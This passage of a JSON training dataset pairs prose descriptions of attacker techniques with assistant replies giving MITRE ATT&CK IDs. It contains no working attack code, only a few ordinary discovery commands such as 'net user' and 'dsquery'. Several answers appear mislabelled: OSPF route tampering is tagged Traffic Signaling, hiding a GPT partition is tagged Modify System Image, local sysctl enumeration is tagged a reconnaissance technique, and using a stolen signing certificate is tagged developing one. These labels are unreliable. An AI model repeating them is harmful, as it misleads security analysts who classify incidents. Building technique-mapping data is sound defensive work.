        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor uses the at scheduler to persist a reverse shell by scheduling it to start on the hour."
            },
            {
                "role": "assistant",
                "content": "T1053.002 - Scheduled Task/Job: At"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A zero‑day vulnerability in the authentication library allows the attacker to bypass login checks and pull user credentials directly from the authentication cache."
            },
            {
                "role": "assistant",
                "content": "T1212 - Exploitation for Credential Access"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A user-level process exploits a race condition in the kernel to elevate its privileges to root."
            },
            {
                "role": "assistant",
                "content": "T1068 - Exploitation for Privilege Escalation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By abusing the WMI Win32_Process class, the threat group executes a command to dump domain credentials from memory."
            },
            {
                "role": "assistant",
                "content": "T1003 - OS Credential Dumping"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised service account was used to change the background image of the internal employee portal to a defaced picture."
            },
            {
                "role": "assistant",
                "content": "T1491.001 - Defacement: Internal Defacement"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware calls macOS sysctl and system_profiler commands to gather hardware model, OS version, and installed application details."
            },
            {
                "role": "assistant",
                "content": "T1592.004 - Gather Victim Host Information: Client Configurations"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors compromise a server and alter the global shell initialization script (/etc/bash.bashrc) to run a persistence script on each new shell session."
            },
            {
                "role": "assistant",
                "content": "T1546.004 - Event Triggered Execution: Unix Shell Configuration Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary scrambles exfiltrated data with a proprietary bit‑shifting algorithm before exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1132.002 - Data Encoding: Non-Standard Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses the \"sc create\" command to install a malicious service that runs with SYSTEM privileges."
            },
            {
                "role": "assistant",
                "content": "T1543.003 - Create or Modify System Process: Windows Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group uses a compromised code signing certificate to sign a malicious driver that loads at system boot."
            },
            {
                "role": "assistant",
                "content": "T1587.002 - Develop Capabilities: Code Signing Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary leverages a stolen local service account credential to authenticate via RDP and execute commands on the target system."
            },
            {
                "role": "assistant",
                "content": "T1078.003 - Valid Accounts: Local Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cyber actors used the name \"WindowsUpdate.exe\" for their backdoor to blend in with system updates and avoid suspicion."
            },
            {
                "role": "assistant",
                "content": "T1036 - Masquerading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware initiates a Distributed Component Object Model (DCOM) connection to a target host to execute a payload."
            },
            {
                "role": "assistant",
                "content": "T1021.003 - Remote Services: Distributed Component Object Model"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary uses a PowerShell script to add a value under HKCU\\Software\\Microsoft\\Office\\Outlook\\HomePage pointing to a malicious site."
            },
            {
                "role": "assistant",
                "content": "T1137.004 - Office Application Startup: Outlook Home Page"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder captures a Refresh Token and exchanges it for a new access token to maintain persistent access."
            },
            {
                "role": "assistant",
                "content": "T1550.001 - Use Alternate Authentication Material: Application Access Token"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Permissions on a Windows service's executable are altered to be world‑writable, enabling the attacker to swap the file with malicious code."
            },
            {
                "role": "assistant",
                "content": "T1574.010 - Hijack Execution Flow: Services File Permissions Weakness"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious actors cleaned the executable’s PE headers, removing timestamps and compiler information to hinder attribution."
            },
            {
                "role": "assistant",
                "content": "T1027.005 - Obfuscated Files or Information: Indicator Removal from Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised installer was repackaged with its metadata and resources stripped to hide malicious code."
            },
            {
                "role": "assistant",
                "content": "T1027.008 - Obfuscated Files or Information: Stripped Payloads"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware drops a malicious service binary and registers it via the Service Control Manager API, setting the service type to own process."
            },
            {
                "role": "assistant",
                "content": "T1543.003 - Create or Modify System Process: Windows Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor uses process injection to replace a legitimate process’s parent ID, allowing the malicious code to masquerade as a trusted application."
            },
            {
                "role": "assistant",
                "content": "T1036.009 - Masquerading: Break Process Trees"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor leverages an unsupported Google Cloud region to create a temporary serverless function that executes ransomware payloads, bypassing regional security controls."
            },
            {
                "role": "assistant",
                "content": "T1535 - Unused/Unsupported Cloud Regions"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By abusing the PubPrn registry entry, the attacker triggers execution of a malicious JavaScript file during system startup."
            },
            {
                "role": "assistant",
                "content": "T1216.001 - System Script Proxy Execution: PubPrn"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor executes 'dsquery group -limit 0' to discover all security groups in the domain."
            },
            {
                "role": "assistant",
                "content": "T1069.002 - Permission Groups Discovery: Domain Groups"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor executes a PowerShell command that reads registry keys to enumerate installed browsers and their default settings."
            },
            {
                "role": "assistant",
                "content": "T1217 - Browser Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor employs a packer that eliminates all embedded timestamps and version attributes from the payload binary."
            },
            {
                "role": "assistant",
                "content": "T1027.005 - Obfuscated Files or Information: Indicator Removal from Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers perform DNS zone transfers to retrieve a full list of subdomains and associated IP addresses of the victim's network."
            },
            {
                "role": "assistant",
                "content": "T1590.001 - Gather Victim Network Information: Domain Properties"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor adds a SID for the Administrators group to the SID-History of a regular user account."
            },
            {
                "role": "assistant",
                "content": "T1134.005 - Access Token Manipulation: SID-History Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor configures a mail flow rule in Exchange Online to forward all emails to a compromised third‑party account."
            },
            {
                "role": "assistant",
                "content": "T1114.003 - Email Collection: Email Forwarding Rule"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors modify the ACLs on Windows service registry keys to grant themselves write access, then replace the service binary with a malicious executable to achieve persistence."
            },
            {
                "role": "assistant",
                "content": "T1574.011 - Hijack Execution Flow: Services Registry Permissions Weakness"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious actor uses \"at\" to schedule the execution of a credential‑stealing script on a compromised host."
            },
            {
                "role": "assistant",
                "content": "T1053.002 - Scheduled Task/Job: At"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker searches publicly available certificate repositories to locate SSL/TLS certificates that belong to the victim’s domain."
            },
            {
                "role": "assistant",
                "content": "T1596.003 - Search Open Technical Databases: Digital Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker reuses a previously stolen admin username and password to maintain persistence on the system."
            },
            {
                "role": "assistant",
                "content": "T1078 - Valid Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors use PowerShell to call the Get-ADUser cmdlet with the -Properties mail attribute, harvesting email account details."
            },
            {
                "role": "assistant",
                "content": "T1087.003 - Account Discovery: Email Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor used compromised AWS credentials to spin up new EC2 instances in the victim's account, then installed malware to achieve persistence."
            },
            {
                "role": "assistant",
                "content": "T1578.002 - Modify Cloud Compute Infrastructure: Create Cloud Instance"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary modified OSPF routing tables on a compromised router, causing traffic to be sent through a compromised link for credential harvesting."
            },
            {
                "role": "assistant",
                "content": "T1205 - Traffic Signaling"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Intruders leverage PowerShell to enumerate and dump Group Policy Objects (GPOs) from Active Directory for sensitive configuration data."
            },
            {
                "role": "assistant",
                "content": "T1602 - Data from Configuration Repository"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using msbuild.exe as a proxy, the threat actor runs a hidden PowerShell command that establishes remote access."
            },
            {
                "role": "assistant",
                "content": "T1127.001 - Trusted Developer Utilities Proxy Execution: MSBuild"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious actor uses a crafted PAM module to gain elevated privileges during the authentication process."
            },
            {
                "role": "assistant",
                "content": "T1548 - Abuse Elevation Control Mechanism"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker sets up a fake login portal on a rented web server to harvest credentials."
            },
            {
                "role": "assistant",
                "content": "T1583.006 - Acquire Infrastructure: Web Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary disables certificate pinning, allowing the use of self‑signed, easily compromised certificates."
            },
            {
                "role": "assistant",
                "content": "T1600 - Weaken Encryption"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors copied stolen documents to a remote SMB share, using it as a staging point for exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1074.002 - Data Staged: Remote Data Staging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An unknown group develops a trojanized USB firmware to gain initial access."
            },
            {
                "role": "assistant",
                "content": "T1587.001 - Develop Capabilities: Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During a sophisticated attack, the attacker hijacks the KernelCallbackTable to redirect system calls to a custom payload."
            },
            {
                "role": "assistant",
                "content": "T1574.013 - Hijack Execution Flow: KernelCallbackTable"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A trojanized game installer prompts the user to accept elevated privileges during installation, then installs a backdoor."
            },
            {
                "role": "assistant",
                "content": "T1204 - User Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries register a new Instagram account under a false identity and use it to post phishing links targeting a company's staff."
            },
            {
                "role": "assistant",
                "content": "T1585.001 - Establish Accounts: Social Media Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary executes a PowerShell script with Get-Service to list services on remote machines."
            },
            {
                "role": "assistant",
                "content": "T1046 - Network Service Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The ransomware leverages DLL hijacking combined with process injection to persist within explorer.exe."
            },
            {
                "role": "assistant",
                "content": "T1055.001 - Process Injection: Dynamic-link Library Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A backdoor encrypts all outbound beacon traffic with a shared secret key, making the channel appear as regular HTTPS traffic."
            },
            {
                "role": "assistant",
                "content": "T1573.001 - Encrypted Channel: Symmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware extracts saved Wi‑Fi passwords from the system's configuration and exfiltrates them."
            },
            {
                "role": "assistant",
                "content": "T1552 - Unsecured Credentials"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary exploits a buffer overflow in a data processing daemon to overwrite stored configuration values, altering the system’s behavior."
            },
            {
                "role": "assistant",
                "content": "T1565.001 - Data Manipulation: Stored Data Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An APT group performs a DNS zone transfer on the cloud provider's domain to discover public services."
            },
            {
                "role": "assistant",
                "content": "T1526 - Cloud Service Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary enumerates all local user accounts on the compromised host using the ‘net user’ command."
            },
            {
                "role": "assistant",
                "content": "T1087.001 - Account Discovery: Local Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors modify the configuration of a Microsoft Exchange server to load a malicious DLL."
            },
            {
                "role": "assistant",
                "content": "T1505 - Server Software Component"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The technique involves creating a rogue DLL with the same name as a legitimate library and placing it where a trusted application will load it, thereby hijacking execution."
            },
            {
                "role": "assistant",
                "content": "T1574.002 - Hijack Execution Flow: DLL Side-Loading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Fast-flux DNS is employed to distribute the hosting of a ransomware drop site across many disposable IPs."
            },
            {
                "role": "assistant",
                "content": "T1568.001 - Dynamic Resolution: Fast Flux DNS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder performs WHOIS searches to enumerate domain registrant names and associated phone numbers for later social engineering."
            },
            {
                "role": "assistant",
                "content": "T1596.002 - Search Open Technical Databases: WHOIS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion leverages DNS tunneling, sending exfiltrated data in a series of very small DNS queries to evade size-based detection."
            },
            {
                "role": "assistant",
                "content": "T1030 - Data Transfer Size Limits"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker exploits a vulnerability in the Software Installation Provider to inject a malicious trust chain, allowing execution of untrusted code."
            },
            {
                "role": "assistant",
                "content": "T1553.003 - Subvert Trust Controls: SIP and Trust Provider Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The compromise involved running the 'gpresult /h report.html' command on compromised hosts to harvest HTML reports of applied Group Policies."
            },
            {
                "role": "assistant",
                "content": "T1615 - Group Policy Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages the Windows API to duplicate a system token and injects it into a service process to gain elevated privileges."
            },
            {
                "role": "assistant",
                "content": "T1134.003 - Access Token Manipulation: Make and Impersonate Token"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A script updates the NSUserDefaults in a .plist file to change application behavior and exfiltrate data."
            },
            {
                "role": "assistant",
                "content": "T1647 - Plist File Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code leveraged the OpenStack API to reconfigure flavor specifications, impacting VM resources."
            },
            {
                "role": "assistant",
                "content": "T1578.005 - Modify Cloud Compute Infrastructure: Modify Cloud Compute Configurations"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious insider searches user home directories for configuration files that contain hard‑coded database passwords."
            },
            {
                "role": "assistant",
                "content": "T1552.001 - Unsecured Credentials: Credentials In Files"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker executed the \"gcloud compute instances list\" command to gather details about VM instances in the GCP project."
            },
            {
                "role": "assistant",
                "content": "T1580 - Cloud Infrastructure Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An insider shares their corporate email password with the attacker, who then uses it to monitor communications and exfiltrate data."
            },
            {
                "role": "assistant",
                "content": "T1586.002 - Compromise Accounts: Email Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The trojan queries the Windows event log for recent user logon events and only proceeds when a recent interactive logon is recorded."
            },
            {
                "role": "assistant",
                "content": "T1497.002 - Virtualization/Sandbox Evasion: User Activity Based Checks"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor uses right‑to‑left override characters in the displayed title of a PDF file, causing the actual executable payload to be concealed within the document name."
            },
            {
                "role": "assistant",
                "content": "T1036.002 - Masquerading: Right-to-Left Override"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious activity involved executing a Python script that modifies Windows registry keys for persistence."
            },
            {
                "role": "assistant",
                "content": "T1059.006 - Command and Scripting Interpreter: Python"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware modifies the disk's GPT partition table to hide a malicious partition."
            },
            {
                "role": "assistant",
                "content": "T1601 - Modify System Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware exfiltrates data using DNS queries, encoding small chunks of data per query to avoid exceeding size limits."
            },
            {
                "role": "assistant",
                "content": "T1030 - Data Transfer Size Limits"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary code delays execution until it detects a logged-in user session, thereby bypassing sandbox detection."
            },
            {
                "role": "assistant",
                "content": "T1497.002 - Virtualization/Sandbox Evasion: User Activity Based Checks"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary intercepts a valid RDP authentication token and injects it into a new connection to take over the victim's active Remote Desktop session."
            },
            {
                "role": "assistant",
                "content": "T1563 - Remote Service Session Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The APT group modifies its beacon to connect over UDP port 53, disguising C2 as DNS traffic on a non‑standard port."
            },
            {
                "role": "assistant",
                "content": "T1571 - Non-Standard Port"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious actor leverages a Unix shell (bash) script to add a new cron job that runs every hour."
            },
            {
                "role": "assistant",
                "content": "T1053.003 - Scheduled Task/Job: Cron"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses PowerShell to retrieve the computer’s hostname and OS version."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors pose as a potential business partner and request organizational charts and contact lists from the target's procurement department."
            },
            {
                "role": "assistant",
                "content": "T1591.002 - Gather Victim Org Information: Business Relationships"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
